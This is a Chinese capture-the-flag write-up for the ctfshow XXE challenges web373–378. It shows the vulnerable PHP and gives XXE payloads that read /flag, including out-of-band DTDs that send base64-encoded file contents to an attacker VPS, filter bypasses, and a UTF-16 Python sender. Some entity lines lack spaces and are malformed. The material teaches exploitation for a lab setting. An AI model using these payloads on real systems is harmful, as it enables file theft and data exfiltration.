web373
<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
//生成一个Document
$dom = new DOMDocument();
// 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集
//LIBXML_NOENT 是替代实体
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
$creds = simplexml_import_dom($dom);
// 通过箭头表达式引用。
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
注释来自:jay17师傅
注意:这里POST发包不能用hackbar了,作者解释:
直接写dtd调用file://
读取文件
需要注意:
$ctfshow = $creds->ctfshow;:尝试从 XML 结构中获取名为 ctfshow 的元素的值。
echo $ctfshow;:输出 ctfshow 元素的值。
所以我们的结构需要有ctfshow标签
Payload:
<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY moluSYSTEM"file:///flag">]><creds><ctfshow>&molu;</ctfshow></creds>
web374
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
源码段跟上题差不多,依然可以注入实体,但是没有了echo,也就是这题无回显.
借助vps我们来读取文件,这里有两种方法:一是nc监听端口,从vps监听到的消息中拿到信息;二是在vps上起好
网站,固定开着一个端口,然后像xss章中写日志的方法一样写入一个文件里
解法一:nc监听
Payload:
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:6666/evil.dtd">
%dtd;
%send;
]>
vps上的evil.dtd文件
<!ENTITY % all"<!ENTITY % send SYSTEM 'http://your-vps-ip:7777/?data=%file;'>"
>
%all;
nc监听7777端口,文件起在6666端口即可(端口随意)
解法二:vps起网站
首先起一个网站,这里就不挂域名了,记住这里的端口,下面写文件需要的端口都是这一个
下面开始写文件:
pd.dtd
:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://your-vps-ip:port/xxe.php?q=%file;'>"
>
%all;
xxe.php
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'get.$txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>
Payload:
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >
web375
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
跟上题一样,都是无回显,但是还多了个正则过滤:<?xml version="1.0"
,但是,话又说回来,过滤一整个字符串,只需要一点不一样就不会被匹配:双引号换单引号,一个空格变两个空格,甚至可以干脆不写这个xml声明。
Payload:
<!--干脆不写xml头-->
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >
web376
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
跟上题类似,只不过正则开了i
模式,大小写绕不过(意思是上一题也能大小写绕过吗0.o)
Payload:
<!--干脆不写xml头-->
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >
web377
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
用脚本编个码绕过,直接发包就行:
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
import requests
url = 'http://37e0aa7b-5e69-4566-af67-f951dbff68d3.challenge.ctf.show/'
data = """
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://your-vps-ip:port/pd.dtd">
%dtd;
%send;
] >
"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")
web378
进去是登录框啊,抓个包看看
发现这个POST传入的就是xml文本,源码里面也有东西
直接加个dtd就能任意读取了
Payload:
<!DOCTYPE ANY [ <!ENTITY moluSYSTEM"file:///flag">]><user><username>&molu;</username><password>1</password></user>